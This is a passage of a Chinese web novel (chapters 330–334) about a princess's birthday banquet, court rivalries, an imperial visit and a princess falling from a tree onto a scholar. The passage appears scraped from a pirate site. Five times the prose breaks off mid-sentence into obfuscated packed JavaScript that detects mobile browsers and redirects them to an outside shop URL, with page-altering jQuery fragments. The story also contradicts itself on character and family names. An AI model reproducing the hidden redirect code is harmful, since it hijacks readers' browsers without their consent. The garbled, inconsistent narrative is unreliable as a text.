“今儿你给我在我身边老实待着!嘴巴给我闭紧,腿也别乱动!还有,”长公主指了指她腰间常年挂着的鞭子,“这个也给我摘了!林嬷嬷会跟着你,若让我发现你有半点不妥当,我可不只收你那些宝贝兵器,连你那些宝贝马驹,一个也别想留!” 清韵公主瞬间换上一副乖巧的笑脸,讨好地朝长公主眨眨眼,声音软糯得能掐出水来: “母妃放心,女儿省得,定不会给您丢脸。” 茅清兮微微颔首,柔声道: “公主殿下请宽心,臣女定会尽力。” 长公主这才略微安心。 作为寿星,长公主自然是全场的焦点,身边围满了前来贺寿的宾客。 而清韵公主,作为她最疼爱的女儿,自然要陪在身侧,帮着招呼客人。 说到底,今日这般大费周章,无非是想让那些有心攀附的人家,好好看看清韵公主的真实模样。 以免那些个不长眼的,只听信了外面那些不着调的传闻,不敢登门求亲。 茅清兮寻了个既不惹眼、又能将全场尽收眼底的位置坐下,悠闲地品着香茗。 清韵公主被长公主拘在身边,一时半会儿走不开,只得频频朝她使眼色,挤眉弄眼的,透着一股子焦急。 茅清兮假装没看见,垂眸专心品茶。 今日的清韵公主,可是重点保护对象,万万不能让她有任何闪失。 否则,以长公主的脾气,非得闹个天翻地覆不可。 清韵公主见茅清兮不理会自己,心里那叫一个憋屈,只能强颜欢笑,应付着一波又一波前来道贺的宾客。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607749|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她余光一扫,羡慕那些可以自由走动的客人。 当然也只是想想,茅清兮早年丧母,少了许多管束,但何尝不是一种遗憾。 有时候,能被人管着、念着,也是一种幸福。 清韵公主在心里默默地叹了口气。 另一边,韩长华与几位同窗结伴而来。 他们都是驸马的学生,清一色的青衫,头戴方巾,一看便是饱读诗书的儒生。 今天长公主贺寿宴,驸马作为东道主,自然要出面招待宾客。 他便将平日里最得意的几位门生带在身边,既是让他们见见世面,也是帮着自己应酬。 韩长华依旧是一身朴素的衣袍,颜色都有些发白了,也不知穿了多久。 但穿在他身上,却丝毫不见寒酸,反而有种说不出的清隽。 他眉目清朗,气质温润,站在那里,便如同一株挺拔的青竹,透着一股子书卷气。 他们几个书生,送的贺礼也都文雅。 字画,诗词,都是他们擅长的。 韩长华则献上了一部自己亲手抄写的《金刚经》。 长公主对驸马的这几位学生,向来颇为欣赏。 她笑着收下礼物,说了几句勉励的话,便让身边的嬷嬷引他们去男宾所在的园子里。 韩长华将佛经递给长公主身边的嬷嬷时,不经意间,目光扫过了站在一旁的清韵公主。 只这一眼,他便愣住了。 盛装打扮的清韵公主,明艳不可方物。 像一朵盛开的牡丹,国色天香,让人移不开眼。 韩长华看得出了神,竟忘了移开视线。 清韵公主何等敏锐,立刻察觉到了他的目光。 她趁着长公主与旁人说话的空档,朝韩长华做了个鬼脸,俏皮地吐了吐舌头。 那双灵动的眼睛,仿佛在说: “华儒,看什么看?” 韩长华猛地回神,一张脸“唰”地红到了耳根,慌忙低下头,恨不得把头埋进地里。 “长华兄,发什么呆呢?走了。” 身旁的同窗见他愣神,笑着推了他一把。 “哦,好,这就走。” 韩长华这才回过神来,匆匆忙忙地跟上同伴的脚步,一颗心却“扑通扑通”跳个不停,脑海中全是清韵公主那明艳的笑颜。 第三百三十章 直到他走到驸马身后站定,仍觉得心跳如鼓,仿佛要从胸腔里蹦出来一般。 陈家作为驸马的娘家,自然是全家出动。 吴清媛、吴临白,还有陈家的一众小辈,浩浩荡荡一群人,声势颇为壮观。 格外引人注目的,是跟在他们身后的一位年轻女子。 那女子生得极美,肌肤胜雪,眉目如画,一身素雅的衣裙,更衬得她气质出尘,宛若画中走出的仙子。 陈家人都恭敬地称呼她为“四婶”。 吴临白笑着向长公主介绍: “这位是华家表妹,名唤清刁,近日来京城小住。今日恰逢四婶生辰,便带她一同前来,给您贺寿。” “民女林清刁,拜见长公主殿下。” 女子声音清甜,如山间明溪般悦耳。 她缓步上前,盈盈下拜,仪态万方。 长公主看着她的脸,微微一怔,眼中闪过一丝怀念,问道: “你与林臧雨是何关系?” “林臧雨是清刁的姑母。” 林清刁声音轻柔地回答,脸上带着恰到好处的微笑。 “像,真是太像了。你和你姑母年轻时,简直是一个模子里刻出来的。” 长公主感叹道。 “旁人也都这般说。” 林清刁微微一笑,露出两个浅浅的酒窝。 长公主望着眼前这张与记忆中几乎重叠的脸,仿佛时光倒流,回到了当年。 二十年前,林臧雨也是这般风华绝代,引得无数公子王孙为之倾倒。 林清刁一出现,便吸引了全场的目光。 男子们或惊艳、或欣赏,女子们则多是羡慕、嫉妒。 面对众人或明或暗的打量,林清刁却始终保持着得体的微笑,不卑不亢,落落大方。 她落后吴临白半步,与吴清媛并肩,缓缓走向女眷们所在之处。 茅清兮自然也注意到了林清刁。 果然如传闻中那般,她与林臧雨像极了。 只是,林清刁更年轻,气质也更清冷。 如果说林臧雨是雍容华贵的牡丹,那么林清刁便是空谷幽兰,各有各的风韵。 长公主看着林清刁引起的关注,又看了看同样盯着林清刁的清韵公主,无奈地摇了摇头。 原还想着今日能为清韵寻个好姻缘,如今看来,怕是难了。 清韵公主似乎并不在意这些,反而饶有兴致地打量着林清刁。 她早就听说过林臧雨的艳名,如今见到林清刁,也算是一饱眼福。 长公主轻叹一声,朝清韵公主招了招手,示意她可以离开了。 清韵公主如释重负,飞快地跑到茅清兮身边,一屁股坐下。 刚坐定,就听到一个尖酸刻薄的声音: “切,什么京城第一美人,不过如此。” 清韵公主扭头一看,是康雨芸和韩柔,正一脸不屑地看着茅清兮。 清韵公主冷笑一声: “怎么哪儿都有你们?跟只苍蝇似的,嗡嗡嗡,吵**!” 康雨芸和韩柔脸色一变。 那日诗会之后,茅清兮便被冠上了“京城第一美人”的名头。 康雨芸一直对此耿耿于怀,今日见到林清刁,便想借机贬低茅清兮。 她见茅清兮不理会自己,心中更气,冷嘲热讽道: “臧夫人,您瞧见了华家小姐这般绝色,难道就没觉得自惭形秽?” “自惭形秽?”清韵公主冷笑,“该自惭形秽的是你吧?长成这副尊容还敢出来丢人现眼,真不知道‘羞耻’二字怎么写。” 她顿了顿,转头看向茅清兮,笑眯眯地说: “清兮,你说是不是?”康雨芸眸中燃着怒火,死死盯着清韵公主。她的手指在衣袖下微微颤抖,指甲深深掐进掌心,那份压抑已久的恨意几乎要冲破胸膛。 韩柔连忙拉住她的衣袖,示意她冷静。她的手心微凉,带着一丝安抚的意味。 “雨芸,别冲动。”韩柔压低声音在她耳边提醒,“这里是长公主府。” 确实,这里是长公主府上,她们的身份地位远不及清韵公主。若是闹起来,不论对错都是她们的不是。康雨芸深吸一口气,强迫自己冷静下来。 清韵公主端起茶盏,眼神轻蔑地扫过康雨芸。她还想再说些什么,茅清兮及时拦住了她。 “清韵。”茅清兮轻轻摇头,示意她不要再说。这种场合若是和人争执,反倒显得她失了身份。 茅清兮转头看向康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607750|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨芸,唇角勾起一抹若有似无的笑意。那笑容看似温和,却带着几分锋芒:“齐姑娘说别人之前,不妨先想想自己。清韵说得对,若我该羞愧,你岂不是该无地自容?” 这话像一把利剑,直直刺入康雨芸心口。她猛地站起身,茶盏被打翻,热茶洒在桌面上,缓缓渗入锦缎桌布。 “茅清兮,你别太得意了!”康雨芸再也控制不住情绪,声音因愤怒而颤抖,“今日过后,你就不配称京城第一美人了!” 茅清兮不慌不忙地用帕子擦拭溅到衣襟上的茶渍,语气依旧平静:“我一直很好奇,你为何对我如此敌意。直到我查到康大人曾向冀国公提过两家结亲一事。” 康雨芸脸色瞬间惨白,仿佛被人当众扒开了伤疤。她的手指死死掐进掌心,指甲在皮肉上留下深深的月牙印。 这件两年前的旧事,她以为早已深埋心底,再无人知晓。可茅清兮今日却轻飘飘提起,仿佛一记响亮的耳光。 清韵和韩柔惊讶地看向康雨芸。韩柔的眼神由震惊转为失望,而清韵则露出了然的神色。 “原来如此。”清韵轻笑一声,“我就说,怎么会对清兮有这么大的敌意。” 康雨芸只能咬紧牙关,连反驳的话都说不出。羞耻感如潮水般涌来,几乎要将她淹没。 茅清兮见状不再多言,毕竟这种事对闺阁女子而言,实在难堪。她优雅地端起茶盏,仿佛方才的争执不曾发生。 韩柔沉默许久,终于开口,声音里带着浓浓的失望:“原来你恨茅清兮是为这个,却对我说是为暮暮报仇。” 当初她和康雨芸都暗恋冀容白,却也明白他不会看上她们任何一个。这成了她们之间独有的秘密,连与她们交好的茅暮暮都不知情。 可康雨芸却背着她,让父亲去提亲。这份背叛让韩柔心如刀割。 她们本该一起将这份感情埋藏心底,互相扶持。但康雨芸却暗中使计,想要独占冀容白。虽然最终未能如愿,但韩柔已无法原谅这份背叛。 韩柔冷着脸换了座位,远离康雨芸。她的动作虽然平静,却透着决绝。 康雨芸咬紧腮帮,这一刻的羞耻,让她想起两年前父亲带来冀容白拒绝的消息时的痛苦。那时的她整整三天没有进食,以泪洗面。 第三百三十一章 她并不在意与韩柔的友情,但被人知道自己曾暗中求娶却遭拒,这份耻辱令她无地自容。 “又是一个喜欢冀容白的。”清韵偏头小声对茅清兮说,语气里带着几分嘲讽,“男人果然都不可靠。” 茅清兮挑眉:“你从何得出这结论?” “我说得不对吗?”清韵冷哼,手指不耐烦地敲击着桌面,“难道冀容白是例外?别忘了他还有个青梅竹马。” “哦,记得当初给他木剑的那位...”茅清兮目光闪烁,避开清韵的视线。她的手指无意识地摩挲着茶盏边缘,似乎在回忆什么。 清韵却没注意到她的异样,继续说道:“他把人家的东西一直珍藏着,谁知道心里打什么主意,说不定还想娶人家呢。” “娶就娶吧。”茅清兮低声道,声音轻得几乎听不见。 清韵猛地转头看向她:“原来你不喜欢冀容白?我还以为...” 茅清兮轻声道:“那把小木剑...是我送的。” 清韵愣住了,茶盏差点从手中滑落。她回想起之前对冀容白的种种评价,顿时觉得无地自容。 “原来如此。”清韵冷哼一声,“是我多管闲事了。” 茅清兮见她生气,连忙从果盘里挑了颗最大的葡萄,仔细剥好皮,塞进清韵嘴里。 清韵从鼻子里哼了一声,表示不会轻易原谅她的隐瞒。但还是接受了这份示好,慢慢咀嚼着葡萄。 “冀容白真的还留着那把小木剑?”茅清兮忽然问道,声音里带着一丝期待。 清韵用一种“懒得理你”的眼神瞥了她一眼:“你自己去问你相公吧,我再也不管你们夫妻的事了。” 茅清兮只好作罢,但心里却暗暗欣喜。原本觉得难堪的往事,在得知冀容白一直珍藏着她送的小木剑后,似乎也没那么令人羞愧了。 她想起小时候刻木剑时,一不小心划伤了手指。当时冀容白心疼得不得了,硬是要替她包扎。那时的他,眼里满是关切。 这时,外面传来脚步声。茅清兮抬头望去,只见冀容白正朝这边走来。他穿着一身月白色锦袍,腰间系着玉带,整个人如同从画中走出来的一般。 清韵见状,立刻起身告辞:“我去看看母亲那边。”说完,她朝茅清兮使了个眼色,快步离开。 康雨芸也坐不住了。她强忍着泪意,匆匆起身离去。韩柔犹豫片刻,还是跟着她离开了。 冀容白走到茅清兮身边坐下,目光温柔:“怎么不多留她们?” 茅清兮摇摇头:“她们各有心事。” 冀容白轻轻握住她的手:“我听说刚才这里发生了些争执?” “没什么。”茅清兮靠在他肩上,“只是些旧事罢了。” 冀容白没有追问,只是轻轻拍了拍她的手背。他知道,有些事不必说得太明白。 茅清兮忽然问道:“你还留着那把小木剑吗?” 冀容白愣了一下,随即笑道:“当然留着。那可是我最珍贵的东西。” 茅清兮心中一暖,脸上却故作不屑:“不过是个小木剑,有什么珍贵的。” “因为是你送的。”冀容白认真道,“所以才珍贵。” 茅清兮心跳漏了一拍,连忙转移话题:“我们该回去了。” 冀容白笑而不语,牵着她的手站起身。两人并肩而行,身影渐渐消失在长廊尽头。 “章节字数”:4213“皇上驾到——” 这一声通传,比最尖利的哨音还刺耳,震得人耳膜嗡嗡作响。热闹欢腾的宴会厅,像被人按下了静音键,瞬间鸦雀无声。 众人脸上的笑容僵住,筷子停在半空,酒杯悬在嘴边……各种姿态,千奇百怪,却都透着一股子惊愕和不知所措。 谁能想到,长公主的寿宴,竟会惊动九五之尊? 长公主也愣住了,端着茶盏的手微微一颤,险些将茶水洒了出来。往年,陛下都是遣人送来贺礼,从未亲自驾临。今年这是……怎么了? 她不敢多想,忙放下茶盏,理了理衣袖,带着清韵和驸马快步迎了出去。其他人也回过神来,纷纷起身,紧随其后。 刚走到门口,就见圣上在一众内侍的簇拥下,大步流星地走了进来。明黄色的龙袍在阳光下熠熠生辉,晃得人睁不开眼。 “臣等参见陛下,吾皇万岁万岁万万岁——” 黑压压跪倒一片,请安声如山呼海啸般,响彻整个长公主府。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610537|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都平身吧。”圣上抬了抬手,声音不高,却清晰地传进了每个人的耳朵,“今日是皇姐寿辰,朕不过是来讨杯寿酒,大家不必拘礼。” 长公主连忙将圣上迎到上座。吉公公从身后的小太监手里接过一个锦盒,双手奉上:“长公主殿下,这是陛下为您备下的贺礼。” “陛下有心了,皇姐愧不敢当。”长公主脸上堆着笑,双手接过锦盒。 圣上落座,原本还算轻松的氛围,顿时变得庄严肃穆起来。长公主与驸马陪侍在侧,说话都比平时谨慎了三分。 圣上只略坐了片刻,便起身说要回宫处理政务。他此来,本就是为了给长公主撑腰,让世人知道,长公主在他心目中的地位。 众人一听,自然不敢挽留,连忙起身恭送。长公主陪着圣上,一路送到了府门外。 眼看圣上就要上轿,人群中却突然传来一声惊呼。 “哎呀!” 这声音不大,但在安静的人群中却格外刺耳。众人循声望去,只见林清刁捂着手,脸色苍白,额头上冒出了一层细密的汗珠。 她身前的桌子上,一碗热汤被打翻了,汤汁洒了一桌,还冒着热气。 旁边,一个陈家的小男孩,正手足无措地站在那里,小脸煞白,显然是吓得不轻。 吴临白心头一紧,快步上前,想要查看林清刁的伤势,却又怕唐突了佳人,伸出去的手僵在了半空中。 “清刁姐,你没事吧?”他急切地问道,声音都有些变调了。 林清刁轻轻摇了摇头,勉强挤出一个笑容:“我没事,只是不小心……” 她话还没说完,就“嘶”地抽了口冷气,显然是疼得厉害。 圣上停下脚步,转过身来,目光落在了林清刁身上。 “怎么回事?”他淡淡地问道,听不出喜怒。 林清刁连忙拉着那小男孩跪下,低着头,声音细若蚊蝇:“民女失仪,惊扰了圣驾,请陛下恕罪。” “烫到哪儿了?”圣上没理会她的请罪,径直问道。 长公主见状,也顾不得其他,连忙吩咐道:“快,去请太医!” “不用了,长公主,”林清刁连忙说道,“只是小伤,不碍事的。 第三百三十二章 ” “那怎么行?”长公主皱着眉头,语气不容置疑,“还是让太医看看才放心。” 她说着,转头对圣上说道:“陛下,您看……” “嗯。”圣上微微颔首,算是应允了。 长公主暗中松了口气,正要继续送圣上离开,谁知圣上却突然开口:“你叫什么名字?抬起头来。” 长公主心头一震,下意识地看向林清刁,眼神复杂难辨。 林清刁缓缓抬起头,露出一张清丽绝俗的脸。只是,她的眼神依旧低垂着,长长的睫毛像两把小扇子,遮住了眼底的情绪。 “民女林清刁,参见陛下。”她轻声说道,声音里带着一丝不易察觉的颤抖。 “盛……清刁?”圣上的声音很轻,像是在自言自语,又像是在向谁确认。 吉公公低眉顺眼地站在一旁,仿佛什么都没听见,什么都没看见。 长公主的眼神却紧紧地盯着林清刁,仿佛要将她看穿一般。 圣上沉默了片刻,忽然转头对长公主说道:“既是伤了,就找太医好好瞧瞧。” 长公主愣了一下,才反应过来,连忙应道:“是,臣姐遵旨。” 圣上没有再说什么,转身朝正厅走去,一边走一边吩咐:“朕今日就在长公主府用了午膳,吉禄,你去知会内阁一声,让他们不必等了。” “奴才遵旨。”吉公公躬身应道,然后吩咐一个小太监去传话。 长公主看着圣上的背影,眼神闪烁不定,不知道在想些什么。她深吸一口气,压下心头的纷乱思绪,快步跟了上去。 太医很快就来了,背着药箱,一路小跑。 “民女谢陛下隆恩,谢长公主殿下。”林清刁再次向圣上和长公主行礼,举手投足间,尽显大家闺秀的风范。 圣上微微摆了摆手,示意她不必多礼。 太医上前,仔细查看了林清刁的伤势,然后从药箱里取出药膏,小心地涂抹在烫伤处。 “这几日伤处不要沾水,按时涂药,过几日便可痊愈。”太医一边涂药,一边叮嘱道。 “多谢太医。”林清刁轻声道谢。 处理完伤口,太医退到一旁。林清刁再次向圣上和长公主道谢,态度恭敬,礼数周全。 长公主看着她,眼神越发复杂。 圣上却像是没注意到这些,只是淡淡地吩咐了一句:“都入座吧,别耽误了时辰。” 众人这才纷纷落座,只是,气氛却比之前更加凝重了。 吴临白一颗心都系在了林清刁身上,时不时地偷看她一眼,见她虽然脸色苍白,但精神还好,这才稍稍放下心来。 吴昊则是一脸愧疚,低着头,眼泪在眼眶里打转。 “小昊,别难过了,这事不怪你。”林清刁见状,柔声安慰道。 吴临白原本还想说他几句,但见林清刁如此维护他,到嘴边的话又咽了回去,只狠狠地瞪了吴昊一眼。 吴昊吓得一哆嗦,眼泪再也忍不住,掉了下来。 “清刁姐,对不起,都是我不好,我不该乱跑……”他抽抽噎噎地说道。 “没事的,小昊,”林清刁轻轻拍了拍他的头,“清刁姐不怪你。” “真的吗?”吴昊抬起头,泪眼朦胧地看着她。 “当然是真的。”林清刁笑着点了点头。 “清刁姐,你真好。”吴昊破涕为笑。 林清刁拿出手帕,帮他擦干净脸上的泪水,动作轻柔,像是在呵护一件珍宝。 吴临白看着这一幕,一颗心彻底融化了。他觉得,林清刁是他见过的最善良、最温柔的女子。 他突然想起祖母的叮嘱,要尽快向华家提亲。想到这里,他的脸颊不由自主地泛起了一层红晕。 他端起酒杯,一饮而尽,借着酒劲,偷偷地看了林清刁一眼。只见她正低着头,专心致志地给身边的弟弟妹妹们布菜,并没有注意到他的目光。 吴临白松了口气,同时,心里又涌起一股淡淡的失落。长公主府的宴席终了,宾客们纷纷起身告辞。圣上也在长公主亲自相送下,踏上了回宫的路。 马蹄声远去,长公主收回目光,眉心却拧成了一个川字。像一块巨石,压得她喘不过气。 林清刁随陈家一行人向长公主告辞,脸上挂着得体的笑,看不出任何异样。 长公主看着她,眼神闪烁,心头的焦虑如同野草般疯长。等人走后,她再也坐不住,急匆匆地去找了驸马吴澈。 吴澈,行四,是陈家最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610538|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痴迷于书本的一个。 他成日里与书为伴,身上也染了书卷气。 年过三十,身形依旧清瘦,倒像个温润的读书人。或许是常年不问世事,他身上有股子华儒的执拗劲儿。 长公主对这个驸马没什么不满意的。她不指望驸马做什么,他喜欢读书,她就在府里建了墨香阁,任由他折腾。 平日里,长公主从不让驸马过问俗事。但这次,长公主觉得必须跟他交代清楚。 吴澈听完,愣了一下,放下手中的书卷,推了推鼻梁上的金丝眼镜:“你不是向来不管陈家的事吗?今儿个怎么转了性?” “我也不想管,可是……”公主微微停顿,像是下了极大的决心,“你快让人去给父亲和大哥递个话,让他们尽快到华家提亲。” “临白看上了华家姑娘,那姑娘瞧着也配得上陈家,既然是两厢情愿,那就早些定下来。”她补充道。 吴澈疑惑更甚:“祖母不是早就给临白的婚事做了打算?急什么。再说华家在安州,大老远的,母亲和大哥总得准备准备。” “这事耽误不得,再耽误下去,怕是要出大事!”长公主急切地说。 吴澈不明所以。 长公主缓了口气,沉声道:“平日里陈家的事我不过问,可这回你一定得让父亲和母亲上点心,赶紧把这事办了。” 吴澈见长公主这般严肃,不敢怠慢,点头应下:“行,我这就差人去给陈家传个话。” 长公主鲜少过问陈家事务,今儿个是头一遭。吴澈不敢耽搁,立刻就安排人去了。 这边厢,清韵见长公主愁眉不展,便凑过去,给她捏起了肩膀:“母后,您今儿个过寿,怎么还板着个脸?” 长公主斜了她一眼,没好气地说:“这寿宴……办得我心烦!” 她本是想借着寿宴给清韵相看人家,谁知半路冒出个林清刁,搅得她心神不宁。 “去去去,别在我跟前碍眼,看着你就来气。”长公主挥手赶人。 清韵吐了吐舌头,脚底抹油溜了。 长公主看着她那没个正形的样子,气不打一处来:“清韵!给我好好走路!” “知道啦!”清韵人已经跑远了,声音还拖着长长的尾音。 第三百三十三章 出了门,她就慢悠悠地踱着步子,等转过弯,瞧不见长公主了,立马撒丫子跑了起来。 今天她娘心情不好,她可不敢往外跑。 长公主府里的人都晓得清韵公主闲不住,这会儿见她爬上了树,也没人敢拦,只在树下干着急。 小棠急得直跺脚:“我的小祖宗,今儿可是长公主的寿辰,您要是被长公主瞧见了,非得扒了您的皮不可!” “你们不说,她能知道?”清韵才不在乎,手脚并用地往上爬。 她发现树杈上窝着一只小奶猫。 “喵~”小猫不过巴掌大,叫声细细的。 清韵的心都化了,撸起袖子,扯开碍事的裙摆,两眼放光地凑过去:“小猫咪,乖乖,快到姐姐怀里来。” 她笑得像个拐卖小孩的,小猫吓得**都炸起来了,扭头就跑。 清韵哪肯放过它,在树枝上爬着追:“别跑啊,我有小鱼干……” 很明显,小猫听不懂人话,扭头就从树上跳了下去。 “啊!”清韵吓得捂住眼睛,不敢看。 可等了一会儿,又听见了猫叫。她挪开手,探头一瞧。 这条枝桠探出了围墙,下边站着个男子,怀里抱着那只小猫。 “韩长华?”清韵愣住了。 韩长华抬起头,看见清韵,也愣了一下,随即行礼:“臣参见清韵公主。” 清韵才不在乎这些虚礼,她依然伏在枝头,眼巴巴地瞅着韩长华怀里的小猫:“你怎么能抱它,它都不让我抱!” 韩长华刚从长公主府出来,正沿着墙根走,这只喵主动投怀送抱,具体原因他也不清楚。 他摇了摇头,话还没出口。 清韵轻盈地在树枝上站稳了身形,踉踉跄跄地前行。 下边的小棠等人吓得魂都没了,扯着嗓子喊:“公主!使不得!” 韩长华的心也提到了嗓子眼。 清韵浑然不觉,在树枝上走了两步,直接跳到了墙头上。 “没事吧。”清韵得意地叉着腰,风吹起她的裙摆。 她自诩练过几天拳脚功夫,飞檐走壁不在话下。 可话音未落,她身子一晃,险些从墙上摔下去。 下人们吓得脸色惨白,呼啦一下围了过来。 就在这当口,清韵脚下一滑,整个人往后仰去。 完了!她闭上眼,心想这下可要破相了! 千钧一发之际,她落入了一个怀抱。 有什么毛茸茸的东西扫过她的脸颊,紧接着,她就摔在了地上。 “公主!”下人们乱成一锅粥。 清韵睁开眼,就见小猫用尾巴狠狠地抽了她一下,然后跳开,露出了韩长华那张因为疼痛而扭曲的脸。 额! 清韵心虚了,她撞到人了! “你……你没事吧?”她小声问。 韩长华感觉腰像断了一样,浑身上下都僵住了,可身前的幽香让他神魂颠倒,再疼也值了。 他咬着牙,硬生生挤出几个字:“臣……无碍。”清韵公主一个利落翻身,稳稳落地,全然不顾裙摆沾上的星星点点的泥土。 “喵呜~” 她这才注意到,韩长华肩头还窝着一只小奶猫,圆滚滚的屁股正对着自己,小脑袋扭向一边,明显透着不乐意。 清韵愣了愣,忍不住伸手摸了摸鼻尖。 “难道这小家伙也和京城里那些人精似的,早就听腻了本公主的‘光辉事迹’,所以才懒得搭理我?” 她撇撇嘴,有些不服气地嘟囔着。 确认自己身上没沾上什么脏东西后,清韵这才将目光投向了一旁。 这一看,她心里“咯噔”一下。 韩长华为了接住她,似乎摔得不轻,这会儿正扶着腰,半天没能站起身,像是被抽走了全身的力气。 “喂,华儒……你……你没事吧?” 清韵有些心虚地凑上前,小心翼翼地伸出手,想扶他一把。 指尖刚一触碰到韩长华的手臂,他却像被火星烫到似的,猛地向后一缩,像是受惊的小动物。 “嘶……” 韩长华紧咬着牙关,额角渗出细密的汗珠,脸色也瞬间变得煞白,像是极力忍耐着巨大的痛苦。 他试图强撑着站起来,可身体却像灌了铅似的,每动一下都牵扯着难以言喻的剧痛,让他忍不住轻轻颤抖。 清韵这下可慌了神,原本只是想逗逗他,没想到竟会让他受伤,心里那点恶作剧的心思瞬间被愧疚淹没。 “你……” 她张了张嘴,想说些什么,却又不知该如何开口,憋了半天,只吐出一个字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621903|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “无妨。” 韩长华强忍着疼痛,向后挪了挪,试图与清韵拉开距离。 他怀里的小猫似乎感受到了主人的不适,轻轻叫唤了一声,伸出粉嫩的小舌头,在他汗湿的脸颊上舔了舔,像是在安慰他。 韩长华微微一怔,下意识地伸手将小猫搂紧,指尖轻轻摩挲着它柔软的绒毛,这个细微的动作,仿佛能给他带来些许慰藉,又像是某种无声的倾诉。 清韵看着他这副模样,眉头紧紧地拧在一起。 她可不是那种喜欢欠人人情的性子,更何况,韩长华还是为了救她才受的伤。 “不行,你这伤得看看!不能耽搁!” 清韵说着,也不管韩长华的意愿,直接上前一步,不由分说地搀住他的胳膊。 入手一片濡湿。 韩长华被汗水浸透的衣衫,让清韵心头的不安愈发强烈。 “你都这样了还逞什么能?伤筋动骨可不是闹着玩的!” 清韵瞪了他一眼,语气中带着几分不容置疑的强硬,还有一丝不易察觉的关心。 “男女之间要保持距离,还请清韵公主……” 韩长华还想说些什么,却被清韵一声低喝打断,他的声音像是卡在了喉咙里。 “闭嘴!” 清韵毫不客气地回瞪过去,眼神中透着一股子不容反驳的威严,像是草原上巡视领地的母狮。 韩长华被她这突如其来的气势震慑住,一时竟忘了言语,只是那张原本就苍白的脸,此刻更显出几分不自然的红晕,像是疼痛,又像是……局促和难为情。 就在这时,公主府的下人们终于姗姗来迟,从另一条小路上匆匆赶来,一见到清韵,立刻慌慌张张地围了上来。 “公主殿下,您没事吧?” “天呐,您有没有摔着?” 一片关切的询问声中,小棠的哭喊声格外尖锐,像是要把房顶都掀翻。 “公主殿下!您吓死奴婢了!以后可千万不能再爬树了……” 小棠一边哭喊着,一边上下检查着清韵的衣裳,生怕她受了什么伤。 “行了行了,本公主这不是好好的吗?记住,不许告诉我娘!” 清韵不耐烦地打断了小棠的哭嚎,还不忘警告地瞪了她一眼。 “奴婢记住了… 第三百三十四章 …”小棠抽抽噎噎地应着,还不忘偷偷观察清韵的脸色。 “沈大人为救我负伤,你们还愣着干什么?赶紧去请大夫啊!要京城里最好的大夫!” 清韵转头,冲着那群还愣在一旁的下人们吩咐道,语气中带着不容置疑的威严。 小棠这才注意到,自家公主正牢牢搀扶着的,竟是文华院的韩长华。 她愣了愣,连忙上前想要接过搀扶韩长华的“重任”,心里却有些犯嘀咕。 可清韵却没松手,反而拽着韩长华,半扶半拖地将他往公主府里带,像是生怕他跑了似的。 一边走,还一边不忘吩咐小棠: “快去!把京城里最好的大夫给本公主请来!要快!” 大夫来得很快,仔仔细细地给韩长华检查了一番。 清韵没进去,只派了个贴身侍卫在旁边盯着。 她在屋外来回踱步,一颗心七上八下的,像是揣了只活蹦乱跳的兔子。 太医出来,她急忙迎上去。 “怎么样?他伤到哪儿了?要不要紧?” 清韵连珠炮似的发问,眼中满是焦急,恨不得立刻冲进去看看韩长华的情况。 “回公主殿下,沈大人扭伤了腰,而且伤及了筋骨,需要卧床静养,切不可随意走动。” 大夫躬身回答,语气中带着几分凝重。 “那……多久能好?” 清韵的心猛地一沉。 “这……” 太医捋了捋胡须, 